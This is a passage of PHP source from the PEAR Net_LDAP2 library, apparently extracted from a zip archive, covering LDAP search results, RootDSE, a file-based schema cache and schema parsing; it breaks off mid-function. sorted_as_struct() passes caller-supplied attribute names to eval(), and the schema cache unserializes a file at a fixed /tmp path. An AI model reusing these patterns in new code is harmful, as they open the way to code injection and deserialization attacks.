    * Cache variable for storing entries fetched internally
    *
    * This currently is not used by all functions and need consolidation.
    *
    * @access protected
    * @var array
    */
    protected $_entry_cache = false;

    /**
    * Cache variable for count()
    *
    * @see count()
    * @access protected
    * @var int
    */
    protected $_count_cache = null;

    /**
    * Constructor
    *
    * @param resource           $search    Search result identifier
    * @param Net_LDAP2|resource $ldap      Net_LDAP2 object or just a LDAP-Link resource
    * @param array              $attributes (optional) Array with searched attribute names. (see {@link $_searchedAttrs})
    *
    * @access public
    */
    public function __construct($search, $ldap, $attributes = array())
    {
        parent::__construct('Net_LDAP2_Error');

        $this->setSearch($search);

        if ($ldap instanceof Net_LDAP2) {
            $this->_ldap = $ldap;
            $this->setLink($this->_ldap->getLink());
        } else {
            $this->setLink($ldap);
        }

        $this->_errorCode = @ldap_errno($this->_link);

        if (is_array($attributes) && !empty($attributes)) {
            $this->_searchedAttrs = $attributes;
        }
    }

    /**
    * Returns an array of entry objects.
    *
    * @return array Array of entry objects.
    */
    public function entries()
    {
        $entries = array();

        if (false === $this->_entry_cache) {
            // cache is empty: fetch from LDAP
            while ($entry = $this->shiftEntry()) {
                $entries[] = $entry;
            }
            $this->_entry_cache = $entries; // store result in cache
        }

        return $this->_entry_cache;
    }

    /**
    * Get the next entry in the searchresult from LDAP server.
    *
    * This will return a valid Net_LDAP2_Entry object or false, so
    * you can use this method to easily iterate over the entries inside
    * a while loop.
    *
    * @return Net_LDAP2_Entry|false  Reference to Net_LDAP2_Entry object or false
    */
    public function shiftEntry()
    {
        if (is_null($this->_entry)) {
            if(!$this->_entry = @ldap_first_entry($this->_link, $this->_search)) {
                $false = false;
                return $false;
            }
            $entry = Net_LDAP2_Entry::createConnected($this->_ldap, $this->_entry);
            if ($entry instanceof PEAR_Error) $entry = false;

        } else if ($this->_entry === false) {
            //no more results
            return false;

        } else {
            if (!$this->_entry = @ldap_next_entry($this->_link, $this->_entry)) {
                $false = false;
                return $false;
            }
            $entry = Net_LDAP2_Entry::createConnected($this->_ldap, $this->_entry);
            if ($entry instanceof PEAR_Error) $entry = false;
        }
        return $entry;
    }

    /**
    * Alias function of shiftEntry() for perl-ldap interface
    *
    * @see shiftEntry()
    * @return Net_LDAP2_Entry|false
    */
    public function shift_entry()
    {
        $args = func_get_args();
        return call_user_func_array(array( $this, 'shiftEntry' ), $args);
    }

    /**
    * Retrieve the next entry in the searchresult, but starting from last entry
    *
    * This is the opposite to {@link shiftEntry()} and is also very useful
    * to be used inside a while loop.
    *
    * @return Net_LDAP2_Entry|false
    */
    public function popEntry()
    {
        if (false === $this->_entry_cache) {
            // fetch entries into cache if not done so far
            $this->_entry_cache = $this->entries();
        }

        $return = array_pop($this->_entry_cache);
        return (null === $return)? false : $return;
    }

    /**
    * Alias function of popEntry() for perl-ldap interface
    *
    * @see popEntry()
    * @return Net_LDAP2_Entry|false
    */
    public function pop_entry()
    {
        $args = func_get_args();
        return call_user_func_array(array( $this, 'popEntry' ), $args);
    }

    /**
    * Return entries sorted as array
    *
    * This returns a array with sorted entries and the values.
    * Sorting is done with PHPs {@link array_multisort()}.
    * This method relies on {@link as_struct()} to fetch the raw data of the entries.
    *
    * Please note that attribute names are case sensitive!
    *
    * Usage example:
    * <code>
    *   // to sort entries first by location, then by surename, but descending:
    *   $entries = $search->sorted_as_struct(array('locality','sn'), SORT_DESC);
    * </code>
    *
    * @param array $attrs Array of attribute names to sort; order from left to right.
    * @param int   $order Ordering direction, either constant SORT_ASC or SORT_DESC
    *
    * @return array|Net_LDAP2_Error   Array with sorted entries or error
    * @todo what about server side sorting as specified in http://www.ietf.org/rfc/rfc2891.txt?
    */
    public function sorted_as_struct($attrs = array('cn'), $order = SORT_ASC)
    {
        /*
        * Old Code, suitable and fast for single valued sorting
        * This code should be used if we know that single valued sorting is desired,
        * but we need some method to get that knowledge...
        */
        /*
        $attrs = array_reverse($attrs);
        foreach ($attrs as $attribute) {
            if (!ldap_sort($this->_link, $this->_search, $attribute)){
                $this->raiseError("Sorting failed for Attribute " . $attribute);
            }
        }

        $results = ldap_get_entries($this->_link, $this->_search);

        unset($results['count']); //for tidier output
        if ($order) {
            return array_reverse($results);
        } else {
            return $results;
        }*/

        /*
        * New code: complete "client side" sorting
        */
        // first some parameterchecks
        if (!is_array($attrs)) {
            return PEAR::raiseError("Sorting failed: Parameterlist must be an array!");
        }
        if ($order != SORT_ASC && $order != SORT_DESC) {
            return PEAR::raiseError("Sorting failed: sorting direction not understood! (neither constant SORT_ASC nor SORT_DESC)");
        }

        // fetch the entries data
        $entries = $this->as_struct();

        // now sort each entries attribute values
        // this is neccessary because later we can only sort by one value,
        // so we need the highest or lowest attribute now, depending on the
        // selected ordering for that specific attribute
        foreach ($entries as $dn => $entry) {
            foreach ($entry as $attr_name => $attr_values) {
                sort($entries[$dn][$attr_name]);
                if ($order == SORT_DESC) {
                    array_reverse($entries[$dn][$attr_name]);
                }
            }
        }

        // reformat entrys array for later use with array_multisort()
        $to_sort = array(); // <- will be a numeric array similar to ldap_get_entries
        foreach ($entries as $dn => $entry_attr) {
            $row       = array();
            $row['dn'] = $dn;
            foreach ($entry_attr as $attr_name => $attr_values) {
                $row[$attr_name] = $attr_values;
            }
            $to_sort[] = $row;
        }

        // Build columns for array_multisort()
        // each requested attribute is one row
        $columns = array();
        foreach ($attrs as $attr_name) {
            foreach ($to_sort as $key => $row) {
                $columns[$attr_name][$key] =& $to_sort[$key][$attr_name][0];
            }
        }

        // sort the colums with array_multisort, if there is something
        // to sort and if we have requested sort columns
        if (!empty($to_sort) && !empty($columns)) {
            $sort_params = '';
            foreach ($attrs as $attr_name) {
                $sort_params .= '$columns[\''.$attr_name.'\'], '.$order.', ';
            }
            eval("array_multisort($sort_params \$to_sort);"); // perform sorting
        }

        return $to_sort;
    }

    /**
    * Return entries sorted as objects
    *
    * This returns a array with sorted Net_LDAP2_Entry objects.
    * The sorting is actually done with {@link sorted_as_struct()}.
    *
    * Please note that attribute names are case sensitive!
    * Also note, that it is (depending on server capabilitys) possible to let
    * the server sort your results. This happens through search controls
    * and is described in detail at {@link http://www.ietf.org/rfc/rfc2891.txt}
    *
    * Usage example:
    * <code>
    *   // to sort entries first by location, then by surename, but descending:
    *   $entries = $search->sorted(array('locality','sn'), SORT_DESC);
    * </code>
    *
    * @param array $attrs Array of sort attributes to sort; order from left to right.
    * @param int   $order Ordering direction, either constant SORT_ASC or SORT_DESC
    *
    * @return array|Net_LDAP2_Error   Array with sorted Net_LDAP2_Entries or error
    * @todo Entry object construction could be faster. Maybe we could use one of the factorys instead of fetching the entry again
    */
    public function sorted($attrs = array('cn'), $order = SORT_ASC)
    {
        $return = array();
        $sorted = $this->sorted_as_struct($attrs, $order);
        if (PEAR::isError($sorted)) {
            return $sorted;
        }
        foreach ($sorted as $key => $row) {
            $entry = $this->_ldap->getEntry($row['dn'], $this->searchedAttrs());
            if (!PEAR::isError($entry)) {
                array_push($return, $entry);
            } else {
                return $entry;
            }
        }
        return $return;
    }

    /**
    * Return entries as array
    *
    * This method returns the entries and the selected attributes values as
    * array.
    * The first array level contains all found entries where the keys are the
    * DNs of the entries. The second level arrays contian the entries attributes
    * such that the keys is the lowercased name of the attribute and the values
    * are stored in another indexed array. Note that the attribute values are stored
    * in an array even if there is no or just one value.
    *
    * The array has the following structure:
    * <code>
    * $return = array(
    *           'cn=foo,dc=example,dc=com' => array(
    *                                                'sn'       => array('foo'),
    *                                                'multival' => array('val1', 'val2', 'valN')
    *                                             )
    *           'cn=bar,dc=example,dc=com' => array(
    *                                                'sn'       => array('bar'),
    *                                                'multival' => array('val1', 'valN')
    *                                             )
    *           )
    * </code>
    *
    * @return array      associative result array as described above
    */
    public function as_struct()
    {
        $return  = array();
        $entries = $this->entries();
        foreach ($entries as $entry) {
            $attrs            = array();
            $entry_attributes = $entry->attributes();
            foreach ($entry_attributes as $attr_name) {
                $attr_values = $entry->getValue($attr_name, 'all');
                if (!is_array($attr_values)) {
                    $attr_values = array($attr_values);
                }
                $attrs[$attr_name] = $attr_values;
            }
            $return[$entry->dn()] = $attrs;
        }
        return $return;
    }

    /**
    * Set the search objects resource link
    *
    * @param resource $search Search result identifier
    *
    * @access public
    * @return void
    */
    public function setSearch($search)
    {
        $this->_search = $search;
    }

    /**
    * Set the ldap ressource link
    *
    * @param resource $link Link identifier
    *
    * @access public
    * @return void
    */
    public function setLink($link)
    {
        $this->_link = $link;
    }

    /**
    * Returns the number of entries in the searchresult
    *
    * @return int Number of entries in search.
    */
    public function count()
    {
        // this catches the situation where OL returned errno 32 = no such object!
        if (!$this->_search) {
            return 0;
        }
        // ldap_count_entries is slow (see pear bug #18752) with large results,
        // so we cache the result internally.
        if ($this->_count_cache === null) {
            $this->_count_cache = @ldap_count_entries($this->_link, $this->_search);
        }

        return $this->_count_cache;
    }

    /**
    * Get the errorcode the object got in its search.
    *
    * @return int The ldap error number.
    */
    public function getErrorCode()
    {
        return $this->_errorCode;
    }

    /**
    * Destructor
    *
    * @access protected
    */
    public function _Net_LDAP2_Search()
    {
        if ($this->_search !== false) {
            @ldap_free_result($this->_search);
        }
    }

    /**
    * Closes search result
    *
    * @return void
    */
    public function done()
    {
        $this->_Net_LDAP2_Search();
    }

    /**
    * Return the attribute names this search selected
    *
    * @return array
    * @see $_searchedAttrs
    * @access protected
    */
    protected function searchedAttrs()
    {
        return $this->_searchedAttrs;
    }

    /**
    * Tells if this search exceeds a sizelimit
    *
    * @return boolean
    */
    public function sizeLimitExceeded()
    {
        return ($this->getErrorCode() == 4);
    }


    /*
    * SPL Iterator interface methods.
    * This interface allows to use Net_LDAP2_Search
    * objects directly inside a foreach loop!
    */
    /**
    * SPL Iterator interface: Return the current element.
    *
    * The SPL Iterator interface allows you to fetch entries inside
    * a foreach() loop: <code>foreach ($search as $dn => $entry) { ...</code>
    *
    * Of course, you may call {@link current()}, {@link key()}, {@link next()},
    * {@link rewind()} and {@link valid()} yourself.
    *
    * If the search throwed an error, it returns false.
    * False is also returned, if the end is reached
    * In case no call to next() was made, we will issue one,
    * thus returning the first entry.
    *
    * @return Net_LDAP2_Entry|false
    */
    public function current()
    {
        if (count($this->_iteratorCache) == 0) {
            $this->next();
            reset($this->_iteratorCache);
        }
        $entry = current($this->_iteratorCache);
        return ($entry instanceof Net_LDAP2_Entry)? $entry : false;
    }

    /**
    * SPL Iterator interface: Return the identifying key (DN) of the current entry.
    *
    * @see current()
    * @return string|false DN of the current entry; false in case no entry is returned by current()
    */
    public function key()
    {
        $entry = $this->current();
        return ($entry instanceof Net_LDAP2_Entry)? $entry->dn() :false;
    }

    /**
    * SPL Iterator interface: Move forward to next entry.
    *
    * After a call to {@link next()}, {@link current()} will return
    * the next entry in the result set.
    *
    * @see current()
    * @return void
    */
    public function next()
    {
        // fetch next entry.
        // if we have no entrys anymore, we add false (which is
        // returned by shiftEntry()) so current() will complain.
        if (count($this->_iteratorCache) - 1 <= $this->count()) {
            $this->_iteratorCache[] = $this->shiftEntry();
        }

        // move on array pointer to current element.
        // even if we have added all entries, this will
        // ensure proper operation in case we rewind()
        next($this->_iteratorCache);
    }

    /**
    * SPL Iterator interface:  Check if there is a current element after calls to {@link rewind()} or {@link next()}.
    *
    * Used to check if we've iterated to the end of the collection.
    *
    * @see current()
    * @return boolean FALSE if there's nothing more to iterate over
    */
    public function valid()
    {
        return ($this->current() instanceof Net_LDAP2_Entry);
    }

    /**
    * SPL Iterator interface: Rewind the Iterator to the first element.
    *
    * After rewinding, {@link current()} will return the first entry in the result set.
    *
    * @see current()
    * @return void
    */
    public function rewind()
    {
        reset($this->_iteratorCache);
    }
}

?>
PK
h�\W�NN+vendor/pear/net_ldap2/Net/LDAP2/RootDSE.phpnu�[���<?php
/* vim: set expandtab tabstop=4 shiftwidth=4: */
/**
* File containing the Net_LDAP2_RootDSE interface class.
*
* PHP version 5
*
* @category  Net
* @package   Net_LDAP2
* @author    Jan Wagner <wagner@netsols.de>
* @copyright 2009 Jan Wagner
* @license   http://www.gnu.org/licenses/lgpl-3.0.txt LGPLv3
* @version   SVN: $Id$
* @link      http://pear.php.net/package/Net_LDAP2/
*/

/**
* Includes
*/
require_once 'PEAR.php';

/**
* Getting the rootDSE entry of a LDAP server
*
* @category Net
* @package  Net_LDAP2
* @author   Jan Wagner <wagner@netsols.de>
* @license  http://www.gnu.org/copyleft/lesser.html LGPL
* @link     http://pear.php.net/package/Net_LDAP22/
*/
class Net_LDAP2_RootDSE extends PEAR
{
    /**
    * @access protected
    * @var object Net_LDAP2_Entry
    **/
    protected $_entry;

    /**
    * Class constructor
    *
    * @param Net_LDAP2_Entry &$entry Net_LDAP2_Entry object of the RootDSE
    */
    public function __construct(&$entry)
    {
        $this->_entry = $entry;
    }

    /**
    * Fetches a RootDSE object from an LDAP connection
    *
    * @param Net_LDAP2 $ldap  Directory from which the RootDSE should be fetched
    * @param array     $attrs Array of attributes to search for
    *
    * @access static
    * @return Net_LDAP2_RootDSE|Net_LDAP2_Error
    */
    public static function fetch($ldap, $attrs = null)
    {
        if (!$ldap instanceof Net_LDAP2) {
            return PEAR::raiseError("Unable to fetch Schema: Parameter \$ldap must be a Net_LDAP2 object!");
        }

        if (is_array($attrs) && count($attrs) > 0 ) {
            $attributes = $attrs;
        } else {
            $attributes = array('vendorName',
                                'vendorVersion',
                                'namingContexts',
                                'altServer',
                                'supportedExtension',
                                'supportedControl',
                                'supportedSASLMechanisms',
                                'supportedLDAPVersion',
                                'subschemaSubentry' );
        }
        $result = $ldap->search('', '(objectClass=*)', array('attributes' => $attributes, 'scope' => 'base'));
        if (self::isError($result)) {
            return $result;
        }
        $entry = $result->shiftEntry();
        if (false === $entry) {
            return PEAR::raiseError('Could not fetch RootDSE entry');
        }
        $ret = new Net_LDAP2_RootDSE($entry);
        return $ret;
    }

    /**
    * Gets the requested attribute value
    *
    * Same usuage as {@link Net_LDAP2_Entry::getValue()}
    *
    * @param string $attr    Attribute name
    * @param array  $options Array of options
    *
    * @access public
    * @return mixed Net_LDAP2_Error object or attribute values
    * @see Net_LDAP2_Entry::get_value()
    */
    public function getValue($attr = '', $options = '')
    {
        return $this->_entry->get_value($attr, $options);
    }

    /**
    * Alias function of getValue() for perl-ldap interface
    *
    * @see getValue()
    * @return mixed
    */
    public function get_value()
    {
        $args = func_get_args();
        return call_user_func_array(array( &$this, 'getValue' ), $args);
    }

    /**
    * Determines if the extension is supported
    *
    * @param array $oids Array of oids to check
    *
    * @access public
    * @return boolean
    */
    public function supportedExtension($oids)
    {
        return $this->checkAttr($oids, 'supportedExtension');
    }

    /**
    * Alias function of supportedExtension() for perl-ldap interface
    *
    * @see supportedExtension()
    * @return boolean
    */
    public function supported_extension()
    {
        $args = func_get_args();
        return call_user_func_array(array( &$this, 'supportedExtension'), $args);
    }

    /**
    * Determines if the version is supported
    *
    * @param array $versions Versions to check
    *
    * @access public
    * @return boolean
    */
    public function supportedVersion($versions)
    {
        return $this->checkAttr($versions, 'supportedLDAPVersion');
    }

    /**
    * Alias function of supportedVersion() for perl-ldap interface
    *
    * @see supportedVersion()
    * @return boolean
    */
    public function supported_version()
    {
        $args = func_get_args();
        return call_user_func_array(array(&$this, 'supportedVersion'), $args);
    }

    /**
    * Determines if the control is supported
    *
    * @param array $oids Control oids to check
    *
    * @access public
    * @return boolean
    */
    public function supportedControl($oids)
    {
        return $this->checkAttr($oids, 'supportedControl');
    }

    /**
    * Alias function of supportedControl() for perl-ldap interface
    *
    * @see supportedControl()
    * @return boolean
    */
    public function supported_control()
    {
        $args = func_get_args();
        return call_user_func_array(array(&$this, 'supportedControl' ), $args);
    }

    /**
    * Determines if the sasl mechanism is supported
    *
    * @param array $mechlist SASL mechanisms to check
    *
    * @access public
    * @return boolean
    */
    public function supportedSASLMechanism($mechlist)
    {
        return $this->checkAttr($mechlist, 'supportedSASLMechanisms');
    }

    /**
    * Alias function of supportedSASLMechanism() for perl-ldap interface
    *
    * @see supportedSASLMechanism()
    * @return boolean
    */
    public function supported_sasl_mechanism()
    {
        $args = func_get_args();
        return call_user_func_array(array(&$this, 'supportedSASLMechanism'), $args);
    }

    /**
    * Checks for existance of value in attribute
    *
    * @param array  $values values to check
    * @param string $attr   attribute name
    *
    * @access protected
    * @return boolean
    */
    protected function checkAttr($values, $attr)
    {
        if (!is_array($values)) $values = array($values);

        foreach ($values as $value) {
            if (!@in_array($value, $this->get_value($attr, 'all'))) {
                return false;
            }
        }
        return true;
    }
}

?>
PK
h�\�U/�9vendor/pear/net_ldap2/Net/LDAP2/SimpleFileSchemaCache.phpnu�[���<?php
/* vim: set expandtab tabstop=4 shiftwidth=4: */
/**
* File containing the example simple file based Schema Caching class.
*
* PHP version 5
*
* @category  Net
* @package   Net_LDAP2
* @author    Benedikt Hallinger <beni@php.net>
* @copyright 2009 Benedikt Hallinger
* @license   http://www.gnu.org/licenses/lgpl-3.0.txt LGPLv3
* @version   SVN: $Id$
* @link      http://pear.php.net/package/Net_LDAP2/
*/

/**
* A simple file based schema cacher with cache aging.
*
* Once the cache is too old, the loadSchema() method will return false, so
* Net_LDAP2 will fetch a fresh object from the LDAP server that will
* overwrite the current (outdated) old cache.
*/
class Net_LDAP2_SimpleFileSchemaCache implements Net_LDAP2_SchemaCache
{
    /**
    * Internal config of this cache
    *
    * @see Net_LDAP2_SimpleFileSchemaCache()
    * @var array
    */
    protected $config = array(
        'path'    => '/tmp/Net_LDAP_Schema.cache',
        'max_age' => 1200
    );

    /**
    * Initialize the simple cache
    *
    * Config is as following:
    *  path     Complete path to the cache file.
    *  max_age  Maximum age of cache in seconds, 0 means "endlessly".
    *
    * @param array $cfg Config array
    */
    public function __construct($cfg)
    {
    	foreach ($cfg as $key => $value) {
			if (array_key_exists($key, $this->config)) {
				if (gettype($this->config[$key]) != gettype($value)) {
					$this->getCore()->dropFatalError(__CLASS__.": Could not set config! Key $key does not match type ".gettype($this->config[$key])."!");
				}
				$this->config[$key] = $value;
			} else {
				$this->getCore()->dropFatalError(__CLASS__.": Could not set config! Key $key is not defined!");
			}
		}
    }

    /**
    * Return the schema object from the cache
    *
    * If file is existent and cache has not expired yet,
    * then the cache is deserialized and returned.
    *
    * @return Net_LDAP2_Schema|Net_LDAP2_Error|false
    */
    public function loadSchema()
    {
         $return = false; // Net_LDAP2 will load schema from LDAP
         if (file_exists($this->config['path'])) {
             $cache_maxage = filemtime($this->config['path']) + $this->config['max_age'];
             if (time() <= $cache_maxage || $this->config['max_age'] == 0) {
                 $return = unserialize(file_get_contents($this->config['path']));
             }
         }
         return $return;
    }

    /**
    * Store a schema object in the cache
    *
    * This method will be called, if Net_LDAP2 has fetched a fresh
    * schema object from LDAP and wants to init or refresh the cache.
    *
    * To invalidate the cache and cause Net_LDAP2 to refresh the cache,
    * you can call this method with null or false as value.
    * The next call to $ldap->schema() will then refresh the caches object.
    *
    * @param mixed $schema The object that should be cached
    * @return true|Net_LDAP2_Error|false
    */
    public function storeSchema($schema) {
        file_put_contents($this->config['path'], serialize($schema));
        return true;
    }
}
PK
h�\
~��R�R*vendor/pear/net_ldap2/Net/LDAP2/Schema.phpnu�[���<?php
/* vim: set expandtab tabstop=4 shiftwidth=4: */
/**
* File containing the Net_LDAP2_Schema interface class.
*
* PHP version 5
*
* @category  Net
* @package   Net_LDAP2
* @author    Jan Wagner <wagner@netsols.de>
* @author    Benedikt Hallinger <beni@php.net>
* @copyright 2009 Jan Wagner, Benedikt Hallinger
* @license   http://www.gnu.org/licenses/lgpl-3.0.txt LGPLv3
* @version   SVN: $Id$
* @link      http://pear.php.net/package/Net_LDAP2/
* @todo see the comment at the end of the file
*/

/**
* Includes
*/
require_once 'PEAR.php';

/**
* Syntax definitions
*
* Please don't forget to add binary attributes to isBinary() below
* to support proper value fetching from Net_LDAP2_Entry
*/
define('NET_LDAP2_SYNTAX_BOOLEAN',            '1.3.6.1.4.1.1466.115.121.1.7');
define('NET_LDAP2_SYNTAX_DIRECTORY_STRING',   '1.3.6.1.4.1.1466.115.121.1.15');
define('NET_LDAP2_SYNTAX_DISTINGUISHED_NAME', '1.3.6.1.4.1.1466.115.121.1.12');
define('NET_LDAP2_SYNTAX_INTEGER',            '1.3.6.1.4.1.1466.115.121.1.27');
define('NET_LDAP2_SYNTAX_JPEG',               '1.3.6.1.4.1.1466.115.121.1.28');
define('NET_LDAP2_SYNTAX_NUMERIC_STRING',     '1.3.6.1.4.1.1466.115.121.1.36');
define('NET_LDAP2_SYNTAX_OID',                '1.3.6.1.4.1.1466.115.121.1.38');
define('NET_LDAP2_SYNTAX_OCTET_STRING',       '1.3.6.1.4.1.1466.115.121.1.40');

/**
* Load an LDAP Schema and provide information
*
* This class takes a Subschema entry, parses this information
* and makes it available in an array. Most of the code has been
* inspired by perl-ldap( http://perl-ldap.sourceforge.net).
* You will find portions of their implementation in here.
*
* @category Net
* @package  Net_LDAP2
* @author   Jan Wagner <wagner@netsols.de>
* @author   Benedikt Hallinger <beni@php.net>
* @license  http://www.gnu.org/copyleft/lesser.html LGPL
* @link     http://pear.php.net/package/Net_LDAP22/
*/
class Net_LDAP2_Schema extends PEAR
{
    /**
    * Map of entry types to ldap attributes of subschema entry
    *
    * @access public
    * @var array
    */
    public $types = array(
            'attribute'        => 'attributeTypes',
            'ditcontentrule'   => 'dITContentRules',
            'ditstructurerule' => 'dITStructureRules',
            'matchingrule'     => 'matchingRules',
            'matchingruleuse'  => 'matchingRuleUse',
            'nameform'         => 'nameForms',
            'objectclass'      => 'objectClasses',
            'syntax'           => 'ldapSyntaxes'
        );

    /**
    * Array of entries belonging to this type
    *
    * @access protected
    * @var array
    */
    protected $_attributeTypes    = array();
    protected $_matchingRules     = array();
    protected $_matchingRuleUse   = array();
    protected $_ldapSyntaxes      = array();
    protected $_objectClasses     = array();
    protected $_dITContentRules   = array();
    protected $_dITStructureRules = array();
    protected $_nameForms         = array();


    /**
    * hash of all fetched oids
    *
    * @access protected
    * @var array
    */
    protected $_oids = array();

    /**
    * Tells if the schema is initialized
    *
    * @access protected
    * @var boolean
    * @see parse(), get()
    */
    protected $_initialized = false;


    /**
    * Constructor of the class
    *
    * @access protected
    */
    public function __construct()
    {
        parent::__construct('Net_LDAP2_Error'); // default error class
    }

    /**
    * Fetch the Schema from an LDAP connection
    *
    * @param Net_LDAP2 $ldap LDAP connection
    * @param string    $dn   (optional) Subschema entry dn
    *
    * @access public
    * @return Net_LDAP2_Schema|NET_LDAP2_Error
    */
    public static function fetch($ldap, $dn = null)
    {
        if (!$ldap instanceof Net_LDAP2) {
            return PEAR::raiseError("Unable to fetch Schema: Parameter \$ldap must be a Net_LDAP2 object!");
        }

        $schema_o = new Net_LDAP2_Schema();

        if (is_null($dn)) {
            // get the subschema entry via root dse
            $dse = $ldap->rootDSE(array('subschemaSubentry'));
            if (false == Net_LDAP2::isError($dse)) {
                $base = $dse->getValue('subschemaSubentry', 'single');
                if (!Net_LDAP2::isError($base)) {
                    $dn = $base;
                }
            }
        }

        // Support for buggy LDAP servers (e.g. Siemens DirX 6.x) that incorrectly
        // call this entry subSchemaSubentry instead of subschemaSubentry.
        // Note the correct case/spelling as per RFC 2251.
        if (is_null($dn)) {
            // get the subschema entry via root dse
            $dse = $ldap->rootDSE(array('subSchemaSubentry'));
            if (false == Net_LDAP2::isError($dse)) {
                $base = $dse->getValue('subSchemaSubentry', 'single');
                if (!Net_LDAP2::isError($base)) {
                    $dn = $base;
                }
            }
        }

        // Final fallback case where there is no subschemaSubentry attribute
        // in the root DSE (this is a bug for an LDAP v3 server so report this
        // to your LDAP vendor if you get this far).
        if (is_null($dn)) {
            $dn = 'cn=Subschema';
        }

        // fetch the subschema entry
        $result = $ldap->search($dn, '(objectClass=*)',
                                array('attributes' => array_values($schema_o->types),
                                        'scope' => 'base'));
        if (Net_LDAP2::isError($result)) {
            return PEAR::raiseError('Could not fetch Subschema entry: '.$result->getMessage());
        }

        $entry = $result->shiftEntry();
        if (!$entry instanceof Net_LDAP2_Entry) {
            if ($entry instanceof Net_LDAP2_Error) {
                return PEAR::raiseError('Could not fetch Subschema entry: '.$entry->getMessage());
            } else {
                return PEAR::raiseError('Could not fetch Subschema entry (search returned '.$result->count().' entries. Check parameter \'basedn\')');
            }
        }

        $schema_o->parse($entry);
        return $schema_o;
    }

    /**
    * Return a hash of entries for the given type
    *
    * Returns a hash of entry for the givene type. Types may be:
    * objectclasses, attributes, ditcontentrules, ditstructurerules, matchingrules,
    * matchingruleuses, nameforms, syntaxes
    *
    * @param string $type Type to fetch
    *
    * @access public
    * @return array|Net_LDAP2_Error Array or Net_LDAP2_Error
    */
    public function &getAll($type)
    {
        $map = array('objectclasses'     => &$this->_objectClasses,
                     'attributes'        => &$this->_attributeTypes,
                     'ditcontentrules'   => &$this->_dITContentRules,
                     'ditstructurerules' => &$this->_dITStructureRules,
                     'matchingrules'     => &$this->_matchingRules,
                     'matchingruleuses'  => &$this->_matchingRuleUse,
                     'nameforms'         => &$this->_nameForms,
                     'syntaxes'          => &$this->_ldapSyntaxes );

        $key = strtolower($type);
        $ret = ((key_exists($key, $map)) ? $map[$key] : PEAR::raiseError("Unknown type $type"));
        return $ret;
    }

    /**
    * Return a specific entry
    *
    * @param string $type Type of name
    * @param string $name Name or OID to fetch
    *
    * @access public
    * @return mixed Entry or Net_LDAP2_Error
    */
    public function &get($type, $name)
    {
        if ($this->_initialized) {
            $type = strtolower($type);
            if (false == key_exists($type, $this->types)) {
                return PEAR::raiseError("No such type $type");
            }

            $name     = strtolower($name);
            $type_var = &$this->{'_' . $this->types[$type]};

            if (key_exists($name, $type_var)) {
                return $type_var[$name];
            } elseif (key_exists($name, $this->_oids) && $this->_oids[$name]['type'] == $type) {
                return $this->_oids[$name];
            } else {
                return PEAR::raiseError("Could not find $type $name");
            }
        } else {
            $return = null;
            return $return;
        }
    }


    /**
    * Fetches attributes that MAY be present in the given objectclass
    *
    * @param string $oc Name or OID of objectclass
    *
    * @access public
    * @return array|Net_LDAP2_Error Array with attributes or Net_LDAP2_Error
    */
    public function may($oc)
    {
        return $this->_getAttr($oc, 'may');
    }

    /**
    * Fetches attributes that MUST be present in the given objectclass
    *
    * @param string $oc Name or OID of objectclass
    *
    * @access public
    * @return array|Net_LDAP2_Error Array with attributes or Net_LDAP2_Error
    */
    public function must($oc)
    {
        return $this->_getAttr($oc, 'must');
    }

    /**
    * Fetches the given attribute from the given objectclass
    *
    * @param string $oc   Name or OID of objectclass
    * @param string $attr Name of attribute to fetch
    *
    * @access protected
    * @return array|Net_LDAP2_Error The attribute or Net_LDAP2_Error
    */
    protected function _getAttr($oc, $attr)
    {
        $oc = strtolower($oc);
        if (key_exists($oc, $this->_objectClasses) && key_exists($attr, $this->_objectClasses[$oc])) {
            return $this->_objectClasses[$oc][$attr];
        } elseif (key_exists($oc, $this->_oids) &&
                $this->_oids[$oc]['type'] == 'objectclass' &&
                key_exists($attr, $this->_oids[$oc])) {
            return $this->_oids[$oc][$attr];
        } else {
            return PEAR::raiseError("Could not find $attr attributes for $oc ");
        }
    }

    /**
    * Returns the name(s) of the immediate superclass(es)
    *
    * @param string $oc Name or OID of objectclass
    *
    * @access public
    * @return array|Net_LDAP2_Error  Array of names or Net_LDAP2_Error
    */
    public function superclass($oc)
    {
        $o = $this->get('objectclass', $oc);
        if (Net_LDAP2::isError($o)) {
            return $o;
        }
        return (key_exists('sup', $o) ? $o['sup'] : array());
    }

    /**
    * Parses the schema of the given Subschema entry
    *
    * @param Net_LDAP2_Entry &$entry Subschema entry
    *
    * @access public
    * @return void
    */
    public function parse(&$entry)
    {
        foreach ($this->types as $type => $attr) {
            // initialize map type to entry
            $type_var          = '_' . $attr;
            $this->{$type_var} = array();

            // get values for this type
            if ($entry->exists($attr)) {
                $values = $entry->getValue($attr);
                if (is_array($values)) {
                    foreach ($values as $value) {

                        unset($schema_entry); // this was a real mess without it

                        // get the schema entry
                        $schema_entry = $this->_parse_entry($value);

                        // set the type
                        $schema_entry['type'] = $type;

                        // save a ref in $_oids
                        $this->_oids[$schema_entry['oid']] = &$schema_entry;

                        // save refs for all names in type map
                        $names = $schema_entry['aliases'];
                        array_push($names, $schema_entry['name']);
                        foreach ($names as $name) {
                            $this->{$type_var}[strtolower($name)] = &$schema_entry;
                        }
                    }
                }
            }
        }
        $this->_initialized = true;
    }

    /**
    * Parses an attribute value into a schema entry
    *
    * @param string $value Attribute value
    *
    * @access protected
    * @return array|false Schema entry array or false
    */
    protected function &_parse_entry($value)
    {
        // tokens that have no value associated
        $noValue = array('single-value',
                         'obsolete',
                         'collective',
                         'no-user-modification',
                         'abstract',
                         'structural',
                         'auxiliary');

        // tokens that can have multiple values
        $multiValue = array('must', 'may', 'sup');

        $schema_entry = array('aliases' => array()); // initilization

        $tokens = $this->_tokenize($value); // get an array of tokens

        // remove surrounding brackets
        if ($tokens[0] == '(') array_shift($tokens);
        if ($tokens[count($tokens) - 1] == ')') array_pop($tokens); // -1 doesnt work on arrays :-(

        $schema_entry['oid'] = array_shift($tokens); // first token is the oid

        // cycle over the tokens until none are left
        while (count($tokens) > 0) {
            $token = strtolower(array_shift($tokens));
            if (in_array($token, $noValue)) {
                $schema_entry[$token] = 1; // single value token
            } else {
                // this one follows a string or a list if it is multivalued
                if (($schema_entry[$token] = array_shift($tokens)) == '(') {
                    // this creates the list of values and cycles through the tokens
                    // until the end of the list is reached ')'
                    $schema_entry[$token] = array();
                    while ($tmp = array_shift($tokens)) {
                        if ($tmp == ')') break;
                        if ($tmp != '$') array_push($schema_entry[$token], $tmp);
                    }
                }
                // create a array if the value should be multivalued but was not
                if (in_array($token, $multiValue) && !is_array($schema_entry[$token])) {
                    $schema_entry[$token] = array($schema_entry[$token]);
                }
            }
        }
        // get max length from syntax
